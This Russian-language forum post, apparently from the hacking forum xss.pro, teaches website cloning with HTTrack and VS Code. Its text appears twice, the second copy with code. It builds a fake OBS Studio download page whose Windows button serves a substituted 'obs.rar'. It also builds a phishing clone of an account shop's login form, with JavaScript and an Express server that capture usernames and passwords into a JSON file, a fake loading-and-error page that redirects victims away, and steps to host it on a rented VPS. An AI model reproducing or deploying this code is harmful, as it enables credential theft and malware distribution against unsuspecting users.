Источник: xss.pro
Автор BlameUself
На форуме регулярно появляются темы с вопросом "Как скопировать веб-сайт?". Я решил рассказать про данную тему.
Начнем с нуля, разберем инструменты и способы их использования. Главное — рассмотрим несколько сценариев того, что делать дальше, после того как сама копия окажется на нашем компьютере.
Буду рад комментариям и критике.
Когда вы вводите URL в адресную строку браузера, происходят определенные процессы. Суть в том, что после отправки запроса на сервер браузер получает ответ и отрисовывает страницу. На этом этапе мы уже получили код, и теоретически ничего не мешает нам взаимодействовать с ним любым способом. Речь идет исключительно о копировании того, что мы видим, то есть фронтенда. И эта статья рассказывает об этом.
Все, что происходит вне этого, связано с бекендом, и простого способа его получить не существует. Бекенд включает в себя как данные сайта, так и его оптимизацию (упрощенно). То есть, если что-то работает очень быстро, просто нажав на кнопку, вы не получите такую же высокую скорость у себя.
Есть определенные варианты, как получить весь бекенд.
Данные обычно передаются через API; некоторые из них публичны, некоторые могут иметь уязвимость и раскрывать больше информации, чем необходимо. Если ваша цель именно данные, то имеет смысл написать парсер или попробовать углубиться в API. Если ваша цель - понять оптимизацию, то имеет смысл узнать больше о том, на чем работает сайт.
Не будем забывать, что самый верный способ полного копирования - полный взлом
(шутка)
Все, о чем пойдет речь далее, просто информация к размышлению. Автор критически осуждает использование ее в каких бы то ни было противоречащих закону умыслах.
Инструменты:
wget - отличный вариант, крутая утилита, вероятно, даже лучший выбор. Она работает достаточно просто через терминал, имеет открытый исходный код. Немного подробнее - https://www.gnu.org/software/wget/ Утилита доступна для Linux и Windows. Ее возможности шире копирования сайтов. Подробнее о возможностях можно узнать в man. wget cheat sheet - https://gist.github.com/Dammmien/4af98e05f9c51c2da007cc70d62bf562
(команда для копирования всего сайта - `wget -m -r -linf -k -p -q -E -e robots=off http://127.0.0.1)
Говоря о сравнении с cURL, wget более удобен под копирование, поскольку по умолчанию поддерживает рекурсивное скачивание, что означает, что он может следовать по ссылкам и загружать связанные файлы, хотя cURL обладает большими возможностями, если рассматривать все функции.
Возможно, вам следует использовать wget. В этой статье я сделал выбор в пользу другого инструмента, но у меня нет никаких аргументов, кроме того, что так исторически сложилось, и я к нему привык.
Также доступны такие инструменты. С ними я не работал, оставлю лишь упоминание:
httrack - мой выбор. Программа с открытым исходным кодом.
Скачиваем с официального сайта и приступаем к работе - https://www.httrack.com/page/2/
Пример первый - учимся работать с HTTrack и настраиваем окружение для работы.
Таргет - https://example.com/
На самом деле интерфейс HTTrack очень прост.
Нажимаем “Далее”.
Вводим название проекта и указываем путь, куда он будет сохранен. Затем жмем 'Далее'.
Вводим нужную ссылку, выбираем действие и опции, и нажимаем 'Далее'.
Описание действий - https://www.httrack.com/html/step2.html
Описание опций - https://www.httrack.com/html/step9.html
Поскольку мы уже подключены к интернету и не хотим выполнять никаких дополнительных действий, таких как отключение компьютера по завершении, оставляем все как есть в этом окне. Затем нажимаем 'Готово' (FINISH).
О функциях в этом окне - https://www.httrack.com/html/step3.html.
Происходит копирование (в данном примере оно осуществляется моментально).
Миссия выполнена.
Далее заходим в папку, в которую произошла загрузка. Переходим в папку с проектом, а затем в подпапку с названием сайта – именно она нам нужна. Все остальное – это файлы HTTrack, которые создает сервер и позволяют нам просматривать веб-сайт. Нам же нужны исходники.
В этой папке мы видим файл index.html. Отлично! Но что делать дальше?
Нам необходимо внести какие-то изменения. Удобнее всего это делать через IDE.
Скачиваем VS Code - code.visualstudio.com. После скачивания устанавливаем два расширения - Live Server для запуска сервера и динамического изменения страницы, Prettier - для автоматического форматирования кода. Дополнительно, можете установить Material Icon Theme для иконок файлов.
Открываем папку с проектом в VS Code для редактирования.:
Сразу обращаем внимание, что HTTrack оставляет комментарий с датой копирования, и такие моменты желательно удалять.
Внесем небольшие изменения в код. Поменяем ссылку на странице на свою, а также изменим h1.
После установки Live Server в VS Code появится кнопка "Go Live". Нажимаем на нее и видим, что мы успешно внесли изменения.
В целом, это был крайне простой пример, и мы просто проверили, что все работает
.
Пример второй - копируем сайт под установку файлов.
Сайт - https://obsproject.com/
Мы начинаем копирование и видим, что HTTrack начал копировать все поддомены на всех языках. Однако на данный момент нам нужна только главная страница, поэтому мы останавливаем копирование.
В данном примере мы хотим, чтобы при нажатии происходило скачивание нашего файла:
Создадим новый проект в VS Code с файлом index.html, куда перенесем код из скачанного index.html сайта донора.Сохраняем код и видим, как красиво Prettier отформатировал текст.
Запускаем Live Server и замечаем, что нам не хватает стилей.
Находим место, где подтягиваются стили, и открываем этот файл (он был скачан HTTrack)
(До Prettier)
(После Prettier)
Предлагаю создать файл style.css в папке проекта и переместить в него этот код, не забыв при этом изменить имя файла и путь в index.html.
Что-то не так с фото, давайте это исправим. Создадим папку images в корне проекта и просто перетащим все, что выкачал HTTrack в img.
Теперь проведем замену assets/ на пустоту.
Пробегаемся по коду и удаляем все скрипты Google Analytics, комментарии и так далее.
Теперь возвращаемся к нашей задаче. Находим код кнопки Windows.
Понимаем что это не кнопка. С учетом того что мы видим, будет достаточно внести лишь небольшие изменения и не писать дополнительно javascript кода.
Меняем атрибут href на "downloads/obs.rar" и добавляем атрибут download с названием файла.
Проверяем и понимаем, что ничего не работает.
Дело в классе download-welcome. В данном случае, мы можем просто убрать эту функцию.
На самом деле, это был интересный, но не самый удачный пример. В большинстве случаев вы увидите элемент <button> вместо <a>. Изменив код таким образом, мы достигли нужного поведения кнопки.
Отлично, мы разобрались, как изменять код для скачивания файла.
Пример третий - получение кредов (данных из формы).
Сайт - случайный магазин аккаунтов (не хочу делать рекламу).
Копировать мы уже умеем. Открываем страницу и видим форму.
Первым делом нам необходимо изменить поведение кнопки "Log In".
Убираем все классы и добавляем событие onclick со значением logInHandler(event). Далее, в файле со скриптами, либо в том же файле, пишем JavaScript для проверки изменения поведения кнопки. Блокируем дефолтное поведение с помощью event.preventDefault() и выводим данные в консоль.
Отлично. Уже на этом этапе замечаю недочёты: даже если данные пустые, происходит логирование. Добавим проверку на пустое значение в HTML с помощью атрибута required. По какой-то причине она не сработала, и я не хочу искать причину, поэтому просто изменю скрипт.
Далее нам нужно как-то сохранять данные для дальнейшей работы с ними. В целом, их нужно сохранять в базу данных. Для этого необходим сервер с базой данных. Немного упростим и будем сохранять данные в JSON-файл. Поднимем сервер на локальном хосте, используя Express. В папке проекта я заранее создал файл data.json с пустым массивом - []
Код поднимает сервер и прослушивает эндпоинт /log на данные username и password, добавляя их в JSON-файл. На практике, это может быть база данных.
(Если вы хотите повторить код, вам необходимо установить Node.js, а затем установить Express и Cors командой - npm install express cors, затем выполните node server.js).
server.js
На стороне клиента мы изменяем функцию, добавляя запрос к эндпоинту /log с использованием fetch.
По итогам, мы получили данные в JSON-файле.
Однако, на стороне пользователя ничего не произошло, и это довольно странно. Теоретически, мы можем использовать данные, введенные пользователем, в запросе на сервер оригинального сайта, получить ответ, и передать его клиенту. Это будет выглядеть очень красиво.
В данном примере мы упростим эту идею до среднего уровня красоты.
Возможны трудности с таким вариантом, я просто размышляю вслух, и на уровне мыслей это кажется возможным.
После получения данных мы осуществим редирект на страницу загрузки, добавив строчку: window.location.href = '/loading.html';
Давайте создадим файл loading.html. Идея заключается в том, что в начале мы покажем индикатор загрузки. После прошествия определенного времени, мы сообщим, что что-то пошло не так. И, наконец, через еще некоторое время, мы выполним редирект, например, на страницу google.com (оригинальный сайт)
Различные готовые лоадеры - https://loading.io/css/
Супер, все получилось!
Есть два сценария. В первом мы создали копию на коленках и хотим использовать ее в работе, то есть о какой-то поддержке в долгий срок речи не идет. Во втором мы хотим на базе чужого сайта создать полноценный проект.
Сценарий первый.
Вернемся к нашему сайту под установки. В папке проекта:
Выполняем команду node server.js, и в браузере видим, что на порту http://localhost:3000/ работает наше приложение (которое успешно отдает для скачивания файл из папки 'downloads'.)
Арендуем VPS. Устанавливаем на него Node.js. Копируем файлы, например, с помощью scp. Папку 'node_modules' копировать не следует.
В папке с проектом на сервере вводим команду npm install. Затем выполняем команду node server.js.
Ура! Мы в интернете.
Второй сценарий, в котором мы хотим поддерживать проект.
В таком случае нам необходимо его переписать, ибо поддерживать ту лабуду что мы получили не представляется возможным
Я использовал React для этого, и если вы тоже выберете этот фреймворк, то первым делом HTML нужно будет переписать в JSX - https://transform.tools/html-to-jsx, а затем разбивать все на компоненты и переписывать ванильный JS с использованием хуков.
Также вы столкнетесь с тем, как в современных фреймворках работает минификация, и возможно, откажетесь от идеи переписывания. Но это тема для другой статьи.
(Однажды я увидел сайт, который отдавал помимо build версии, еще и prod версию, так что изучайте исходники, используя консоль).
Ничего сложного в копировании сайтов нет. Даже без знания языка программирования можно за несколько вечеров освоить эту технику, заручившись поддержкой ChatGPT.
Все, что требуется, — это четко сформулированная цель и усидчивость!
Автор BlameUself
На форуме регулярно появляются темы с вопросом "Как скопировать веб-сайт?". Я решил рассказать про данную тему.
Начнем с нуля, разберем инструменты и способы их использования. Главное — рассмотрим несколько сценариев того, что делать дальше, после того как сама копия окажется на нашем компьютере.
Буду рад комментариям и критике.
Когда вы вводите URL в адресную строку браузера, происходят определенные процессы. Суть в том, что после отправки запроса на сервер браузер получает ответ и отрисовывает страницу. На этом этапе мы уже получили код, и теоретически ничего не мешает нам взаимодействовать с ним любым способом. Речь идет исключительно о копировании того, что мы видим, то есть фронтенда. И эта статья рассказывает об этом.
Все, что происходит вне этого, связано с бекендом, и простого способа его получить не существует. Бекенд включает в себя как данные сайта, так и его оптимизацию (упрощенно). То есть, если что-то работает очень быстро, просто нажав на кнопку, вы не получите такую же высокую скорость у себя.
Есть определенные варианты, как получить весь бекенд.
Данные обычно передаются через API; некоторые из них публичны, некоторые могут иметь уязвимость и раскрывать больше информации, чем необходимо. Если ваша цель именно данные, то имеет смысл написать парсер или попробовать углубиться в API. Если ваша цель - понять оптимизацию, то имеет смысл узнать больше о том, на чем работает сайт.
Не будем забывать, что самый верный способ полного копирования - полный взлом
(шутка)Все, о чем пойдет речь далее, просто информация к размышлению. Автор критически осуждает использование ее в каких бы то ни было противоречащих закону умыслах.
Инструменты:
wget - отличный вариант, крутая утилита, вероятно, даже лучший выбор. Она работает достаточно просто через терминал, имеет открытый исходный код. Немного подробнее - https://www.gnu.org/software/wget/ Утилита доступна для Linux и Windows. Ее возможности шире копирования сайтов. Подробнее о возможностях можно узнать в man. wget cheat sheet - https://gist.github.com/Dammmien/4af98e05f9c51c2da007cc70d62bf562
(команда для копирования всего сайта - `wget -m -r -linf -k -p -q -E -e robots=off http://127.0.0.1)
Говоря о сравнении с cURL, wget более удобен под копирование, поскольку по умолчанию поддерживает рекурсивное скачивание, что означает, что он может следовать по ссылкам и загружать связанные файлы, хотя cURL обладает большими возможностями, если рассматривать все функции.
Возможно, вам следует использовать wget. В этой статье я сделал выбор в пользу другого инструмента, но у меня нет никаких аргументов, кроме того, что так исторически сложилось, и я к нему привык.
Также доступны такие инструменты. С ними я не работал, оставлю лишь упоминание:
- Offline Explorer - интересная штука
- Cyotek WebCopy
- Archivarix - позволяет скачивать сайты с WebArchive
httrack - мой выбор. Программа с открытым исходным кодом.
Скачиваем с официального сайта и приступаем к работе - https://www.httrack.com/page/2/
Пример первый - учимся работать с HTTrack и настраиваем окружение для работы.
Таргет - https://example.com/
На самом деле интерфейс HTTrack очень прост.
Нажимаем “Далее”.
Вводим название проекта и указываем путь, куда он будет сохранен. Затем жмем 'Далее'.
Вводим нужную ссылку, выбираем действие и опции, и нажимаем 'Далее'.
Описание действий - https://www.httrack.com/html/step2.html
Описание опций - https://www.httrack.com/html/step9.html
Поскольку мы уже подключены к интернету и не хотим выполнять никаких дополнительных действий, таких как отключение компьютера по завершении, оставляем все как есть в этом окне. Затем нажимаем 'Готово' (FINISH).
О функциях в этом окне - https://www.httrack.com/html/step3.html.
Происходит копирование (в данном примере оно осуществляется моментально).
Миссия выполнена.
Далее заходим в папку, в которую произошла загрузка. Переходим в папку с проектом, а затем в подпапку с названием сайта – именно она нам нужна. Все остальное – это файлы HTTrack, которые создает сервер и позволяют нам просматривать веб-сайт. Нам же нужны исходники.
В этой папке мы видим файл index.html. Отлично! Но что делать дальше?
Нам необходимо внести какие-то изменения. Удобнее всего это делать через IDE.
Скачиваем VS Code - code.visualstudio.com. После скачивания устанавливаем два расширения - Live Server для запуска сервера и динамического изменения страницы, Prettier - для автоматического форматирования кода. Дополнительно, можете установить Material Icon Theme для иконок файлов.
Открываем папку с проектом в VS Code для редактирования.:
Сразу обращаем внимание, что HTTrack оставляет комментарий с датой копирования, и такие моменты желательно удалять.
Внесем небольшие изменения в код. Поменяем ссылку на странице на свою, а также изменим h1.
После установки Live Server в VS Code появится кнопка "Go Live". Нажимаем на нее и видим, что мы успешно внесли изменения.
В целом, это был крайне простой пример, и мы просто проверили, что все работает
.Пример второй - копируем сайт под установку файлов.
Сайт - https://obsproject.com/
Мы начинаем копирование и видим, что HTTrack начал копировать все поддомены на всех языках. Однако на данный момент нам нужна только главная страница, поэтому мы останавливаем копирование.
В данном примере мы хотим, чтобы при нажатии происходило скачивание нашего файла:
Создадим новый проект в VS Code с файлом index.html, куда перенесем код из скачанного index.html сайта донора.Сохраняем код и видим, как красиво Prettier отформатировал текст.
Запускаем Live Server и замечаем, что нам не хватает стилей.
Находим место, где подтягиваются стили, и открываем этот файл (он был скачан HTTrack)
(До Prettier)
(После Prettier)
Предлагаю создать файл style.css в папке проекта и переместить в него этот код, не забыв при этом изменить имя файла и путь в index.html.
Что-то не так с фото, давайте это исправим. Создадим папку images в корне проекта и просто перетащим все, что выкачал HTTrack в img.
Теперь проведем замену assets/ на пустоту.
Пробегаемся по коду и удаляем все скрипты Google Analytics, комментарии и так далее.
Теперь возвращаемся к нашей задаче. Находим код кнопки Windows.
HTML:
<a
href="https://cdn-fastly.obsproject.com/downloads/OBS-Studio-30.0.2-Full-Installer-x64.exe"
target="_blank"
class="green_btn download-welcome"
>Windows<span class="tooltip"
>Supports Windows 10 and Windows 11</span
></a
>
HTML:
<a
href="downloads/obs.rar"
target="_blank"
class="green_btn download-welcome"
download="obs.rar"
>Windows<span class="tooltip"
>Supports Windows 10 and Windows 11</span
></a
>
Проверяем и понимаем, что ничего не работает.
Дело в классе download-welcome. В данном случае, мы можем просто убрать эту функцию.
На самом деле, это был интересный, но не самый удачный пример. В большинстве случаев вы увидите элемент <button> вместо <a>. Изменив код таким образом, мы достигли нужного поведения кнопки.
HTML:
<button
onclick="window.location.href='downloads/obs.rar'"
class="green_btn download-welcome"
download="obs.rar"> Windows
<span class="tooltip">Supports Windows 10 and Windows 11</span>
</button>
Отлично, мы разобрались, как изменять код для скачивания файла.
Пример третий - получение кредов (данных из формы).
Сайт - случайный магазин аккаунтов (не хочу делать рекламу).
Копировать мы уже умеем. Открываем страницу и видим форму.
Первым делом нам необходимо изменить поведение кнопки "Log In".
HTML:
<button
type="submit"
class="woocommerce-button button woocommerce-form-login__submit"
name="login"
value="Log in"
>
Log in
</button>
HTML:
<button
type="submit"
name="login"
value="Log in"
onclick="logInHandler(event)"
>
Log in
</button>
Убираем все классы и добавляем событие onclick со значением logInHandler(event). Далее, в файле со скриптами, либо в том же файле, пишем JavaScript для проверки изменения поведения кнопки. Блокируем дефолтное поведение с помощью event.preventDefault() и выводим данные в консоль.
JavaScript:
function logInHandler(event) {
event.preventDefault()
let username = document.getElementById('username').value
let password = document.getElementById('password').value
console.log('Username:', username)
console.log('Password:', password)
}
Отлично. Уже на этом этапе замечаю недочёты: даже если данные пустые, происходит логирование. Добавим проверку на пустое значение в HTML с помощью атрибута required. По какой-то причине она не сработала, и я не хочу искать причину, поэтому просто изменю скрипт.
JavaScript:
function logInHandler(event) {
event.preventDefault()
let username = document.getElementById('username').value
let password = document.getElementById('password').value
if (username.trim() === '' || password.trim() === '') {
alert('Please fill in all fields!')
} else {
console.log('Username:', username)
console.log('Password:', password)
}
}
Код поднимает сервер и прослушивает эндпоинт /log на данные username и password, добавляя их в JSON-файл. На практике, это может быть база данных.
(Если вы хотите повторить код, вам необходимо установить Node.js, а затем установить Express и Cors командой - npm install express cors, затем выполните node server.js).
server.js
JavaScript:
const express = require('express')
const fs = require('fs')
const cors = require('cors')
const app = express()
const port = 3000
app.use(cors())
app.use(express.json())
app.post('/log', (req, res) => {
const { username, password } = req.body
if (!username || !password) {
res.status(400).send('Username and password are required')
return
}
fs.readFile('data.json', 'utf8', (err, data) => {
if (err) {
console.error(err)
res.status(500).send('Internal Server Error')
return
}
let jsonData = []
if (data) {
jsonData = JSON.parse(data)
}
jsonData.push({ username, password })
fs.writeFile('data.json', JSON.stringify(jsonData, null, 2), (err) => {
if (err) {
console.error(err)
res.status(500).send('Internal Server Error')
return
}
console.log('Data appended to data.json')
res.status(200).send('Successful')
})
})
})
app.listen(port, () => {
console.log(`Server is running at http://localhost:${port}`)
})
JavaScript:
function logInHandler(event) {
event.preventDefault()
let username = document.getElementById('username').value
let password = document.getElementById('password').value
if (username.trim() === '' || password.trim() === '') {
alert('Please fill in all fields!')
} else {
console.log('Username:', username)
console.log('Password:', password)
fetch('http://localhost:3000/log', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ username, password }),
})
.then((response) => response.text())
.then((data) => {
console.log(data)
})
.catch((error) => {
console.error('Error:', error)
})
}
}
JavaScript:
[
{
"username": "fff",
"password": "wwww"
}
]
В данном примере мы упростим эту идею до среднего уровня красоты.
Возможны трудности с таким вариантом, я просто размышляю вслух, и на уровне мыслей это кажется возможным.
После получения данных мы осуществим редирект на страницу загрузки, добавив строчку: window.location.href = '/loading.html';
JavaScript:
function logInHandler(event) {
event.preventDefault();
let username = document.getElementById('username').value;
let password = document.getElementById('password').value;
if (username.trim() === '' || password.trim() === '') {
alert('Please fill in all fields!');
} else {
console.log('Username:', username);
console.log('Password:', password);
fetch('http://localhost:3000/log', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ username, password }),
})
.then((response) => response.text())
.then((data) => {
console.log(data);
window.location.href = '/loading.html';
})
.catch((error) => {
console.error('Error:', error);
});
}
}
Различные готовые лоадеры - https://loading.io/css/
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<style>
body {
display: flex;
align-items: center;
justify-content: center;
height: 100vh;
margin: 0;
background-color: #f0f0f0;
}
#loading-container {
display: none;
align-items: center;
justify-content: center;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(255, 255, 255, 0.8);
z-index: 999;
}
#loading-spinner {
border: 8px solid #3498db;
border-radius: 50%;
border-top: 8px solid #fff;
width: 50px;
height: 50px;
animation: spin 3s linear infinite;
}
#error-container {
display: none;
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
padding: 20px;
background-color: #e74c3c;
color: #fff;
text-align: center;
z-index: 999;
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
</style>
</head>
<body>
<div id="loading-container">
<div id="loading-spinner"></div>
</div>
<div id="error-container">
<p>Что-то пошло не так.</p>
</div>
<script>
document.addEventListener('DOMContentLoaded', function () {
document.getElementById('loading-container').style.display = 'flex'
setTimeout(function () {
document.getElementById('loading-container').style.display = 'none'
document.getElementById('error-container').style.display = 'block'
setTimeout(function () {
window.location.href = 'https://www.google.com'
}, 2000)
}, 3000)
})
</script>
</body>
</html>
Супер, все получилось!
Есть два сценария. В первом мы создали копию на коленках и хотим использовать ее в работе, то есть о какой-то поддержке в долгий срок речи не идет. Во втором мы хотим на базе чужого сайта создать полноценный проект.
Сценарий первый.
Вернемся к нашему сайту под установки. В папке проекта:
- Устанавливаем Node.js.
- Выполняем команду: npm init -y.
- Устанавливаем Express: npm install express.
- Создаем файл server.js в корне проекта.
- Поднимаем сервер на порту 3000 и отдаем файл index.html при запросе к /."
JavaScript:
const express = require('express')
const path = require('path')
const app = express()
const port = 3000
app.use(express.static(__dirname))
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'index.html'))
})
app.listen(port, () => {
console.log(`Server is running on http://localhost:${port}`)
})
Выполняем команду node server.js, и в браузере видим, что на порту http://localhost:3000/ работает наше приложение (которое успешно отдает для скачивания файл из папки 'downloads'.)
Арендуем VPS. Устанавливаем на него Node.js. Копируем файлы, например, с помощью scp. Папку 'node_modules' копировать не следует.
В папке с проектом на сервере вводим команду npm install. Затем выполняем команду node server.js.
Ура! Мы в интернете.
Второй сценарий, в котором мы хотим поддерживать проект.
В таком случае нам необходимо его переписать, ибо поддерживать ту лабуду что мы получили не представляется возможным

Я использовал React для этого, и если вы тоже выберете этот фреймворк, то первым делом HTML нужно будет переписать в JSX - https://transform.tools/html-to-jsx, а затем разбивать все на компоненты и переписывать ванильный JS с использованием хуков.
Также вы столкнетесь с тем, как в современных фреймворках работает минификация, и возможно, откажетесь от идеи переписывания. Но это тема для другой статьи.
(Однажды я увидел сайт, который отдавал помимо build версии, еще и prod версию, так что изучайте исходники, используя консоль).
Ничего сложного в копировании сайтов нет. Даже без знания языка программирования можно за несколько вечеров освоить эту технику, заручившись поддержкой ChatGPT.
Все, что требуется, — это четко сформулированная цель и усидчивость!
